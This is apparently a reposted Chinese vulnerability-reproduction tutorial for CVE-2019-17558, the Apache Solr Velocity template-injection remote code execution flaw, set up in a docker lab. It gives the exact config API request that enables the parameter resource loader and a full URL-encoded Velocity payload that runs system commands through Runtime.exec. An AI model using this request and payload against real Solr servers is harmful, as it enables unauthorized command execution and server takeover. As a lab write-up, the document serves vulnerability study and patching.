Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

一、Apache Solr介绍

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引,也可以通过http get操作提出查找请求,并得到XML格式的返回结果。

二、漏洞描述

Solr中存在VelocityResponseWriter组件,攻击者可以构造特定请求修改相关配置,使VelocityResponseWriter组件允许加载指定模板,进而导致Velocity模版注入远程命令执行漏洞,攻击者利用该漏洞可以直接获取到服务器权限。

漏洞产生原因:

在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

参考:(https://www.cnblogs.com/yuzly/p/11782608.html)

三、漏洞影响版本

Apache Solr 5.x – 8.2.0,存在config API版本

四、漏洞复现

靶机IP :192.168.200.130

1、启动环境,这里直接使用docker搭建

路径:solr/CVE-2019-17558

启动一个Apache Solr 8.2.0服务器:

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

列出相应容器

docker-compose ps

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

登录solr服务器

http://your-ip:8983

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

2、利用默认的demo

默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

3、开启 params.resource.loader.enabled

其中API路径包含刚才获取的core名称

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)
POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

4、查看demo的配置

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

可以看到,params.resource.loader.enabled 已经开启

5、注入Velocity模板执行任意命令

http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

在exec函数里可以执行任意代码:

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

五、修复建议

建议升级Appache Salc到最新版

Original: https://www.cnblogs.com/ggc-gyx/p/CVE-2019-17558.html
Author: ʚɞ无恙
Title: Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/609172/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • vue2和nginx配置Gzip

    减小js和css文件大小,提高首屏速度。虽然也没有快到哪里去(可能是因为我没有调参),但js、css文件的大小都大幅度减小了。参考:https://blog.csdn.net/qq…

    Linux 2023年6月7日
    095
  • Django_模型详解

    Django_模型ORM Django中内嵌了ORM框架,不需要直接编写SQL语句进行数据库操作,而是通过定义模型类,操作模型类来完成对数据库中表的增删改查和创建等操作。 O是ob…

    Linux 2023年6月7日
    094
  • linux开机自动挂载(/etc/fstab)

    fatab 介绍 通常情况,Linux 的 /etc/fstab 文件可能有如下内容: # /etc/fstab Created by anaconda on Fri Aug 18…

    Linux 2023年6月7日
    0107
  • Spring事务(四)-事务隔离级别

    Spring @Transactional注解isolation属性 @Transactional注解通过isolation属性设置事务隔离级别。如下: @Transactiona…

    Linux 2023年6月6日
    071
  • Golang 在windows下编译Linux下可执行文件

    Windows 下编译Linux 64位可执行程序 set GOARCH=amd64 set GOOS=linux go build 如果想改回来,就 set GOOS=windo…

    Linux 2023年6月11日
    0102
  • 搭建Redis三主三从集群

    Redis三主三从集群规划 10.0.128.19 使用端口 7000 700110.0.128.22 使用端口 7002 700310.0.128.23 使用端口 7004 70…

    Linux 2023年6月8日
    0101
  • Nginx/Tengine安装配置详解

    1 概念 Nginx (“engine x”) 是一个高性能的 HTTP 和 反向代理 服务器,也是一个 IMAP/POP3/SMTP 代理服务器。官方测试…

    Linux 2023年6月14日
    086
  • 如何优化前端性能?

    导读:随着前端的范畴逐渐扩大,深度逐渐下沉,富前端必然带来的一个问题就是性能。特别是在大型复杂项目中,重前端业务可能因为一个小小的数据依赖,导致整个页面卡顿甚至崩溃。本文基于Qui…

    Linux 2023年6月8日
    0109
  • sql server 增删改(查太多了)

    delete(删除) 使用 delete语句删除表中数据。 delete from 表名 [where where_definition] 如果不使用where子句,将删除表中所有…

    Linux 2023年6月7日
    081
  • Linux 配置Java环境变量

    前言:请各大网友尊重本人原创知识分享,谨记本人博客: 南国以南i 注:目前在官网下载的时候需要登陆,这边分享一个账号,方便下载 账号:2696671285@qq.com密码:Ora…

    Linux 2023年6月14日
    072
  • Ubuntu20.04桌面版 使用root账号登录

    sodu -i 执行命令,输入当前用户密码,临时切换到root身份 执行passwd命令,修改root登录密码 passwd 修改50-ubuntu.conf文件 执行如下命令: …

    Linux 2023年6月13日
    083
  • 五分钟搭建博客系统 OK?

    前言: 请各大网友尊重本人原创知识分享,谨记本人博客:南国以南i 概要: 通过 Docker Compose 在使用 Docker容器构建的隔离环境中轻松运行 WordPress。…

    Linux 2023年6月14日
    0127
  • K8S部署之VMWare网络拓扑踩坑

    知乎上最近发现一篇好文 图解K8S(01):基于Ubuntu 20.04部署1.23版K8S集群,想着之前 K8S 部署一直不成功,那么就照着这篇文章中说的试一试。结果在实验时遇到…

    Linux 2023年5月27日
    083
  • 闪存和SSD存储之间有什么区别?

    PC硬件术语经常被互换使用,其缩写被削减,或者对同一组件有多个词。以DRAM/RAM/memory为例。这三个词都是指同一个PC组件,它被安装在CPU插座旁边的瘦小插槽中&#821…

    Linux 2023年6月7日
    0167
  • url参数+,&,=,/等转义编码【转】

    问题描述 在使用postman发送请求时,url出现了有+,空格,/,?,%,#,&,= 等特殊符号,可能在转义之后导致服务器端无法获得正确的参数值。解决办法 将这些字符转…

    Linux 2023年6月8日
    072
  • PHP利用Apache、Nginx的特性实现免杀Webshell

    环境函数用法 nginx get_defined_vars() 返回由所有已定义变量所组成的数组 apache getallheaders() 获取全部 HTTP 请求头信息 ap…

    Linux 2023年5月28日
    076
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球